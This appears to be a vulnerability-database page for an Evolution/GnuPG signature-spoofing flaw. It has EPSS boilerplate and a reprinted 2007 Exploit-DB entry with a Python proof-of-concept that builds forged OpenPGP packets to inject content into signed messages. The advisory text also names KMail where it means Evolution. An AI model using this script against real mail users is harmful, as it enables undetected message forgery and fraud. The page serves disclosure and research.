CVE Descriptions

Evolution 2.8.1 and earlier does not properly use the --status-fd argument when invoking GnuPG, which prevents Evolution from visually distinguishing between signed and unsigned portions of OpenPGP messages with multiple components, which allows remote attackers to forge the contents of a message without detection.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 29691

Publication date : 2007-03-04 23h00 +00:00
Author : Gerardo Richarte
EDB Verified : Yes

source: https://www.securityfocus.com/bid/22760/info Evolution is prone to a vulnerability that may allow an attacker to add arbitrary content into a message without the end user knowing. An attacker may be able to exploit this issue to add arbitrary content into a GnuPG signed and/or encrypted message. This vulnerability is due to the weakness discussed in BID 22757 (GnuPG Signed Message Arbitrary Content Injection Weakness) and has been assigned its own BID because of the specific way that Evolution uses GnuPG. This issue affects KMail versions prior to and including 2.8.1. #!/usr/bin/python import os, gpg, sys, base64 clear_sign = open(sys.argv[1], "rb").read().splitlines() start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----") mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----") end = clear_sign.index("-----END PGP SIGNATURE-----") text = '\r\n'.join(clear_sign[start+3:mid]) sign = '\n'.join(clear_sign[mid+3:end-1]) onepass = gpg.OnePassSignature() onepass['keyid'] = (0x12341234,0x12341234) onepass['digest_algo'] = 2 onepass['pubkey_algo'] = 1 onepass['sigclass'] = 1 plain1 = gpg.Plaintext() plain1['name'] = 'original' plain1['data'] = text plain1['mode'] = 0x62 signature = gpg.Raw() signature['data'] = base64.decodestring(sign) compressed = gpg.Compressed() compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB compressed['data'] = [onepass, plain1, signature] pkt = gpg.Packet() pkt['version'] = 1 pkt['data'] = compressed os.write(1,str(pkt))
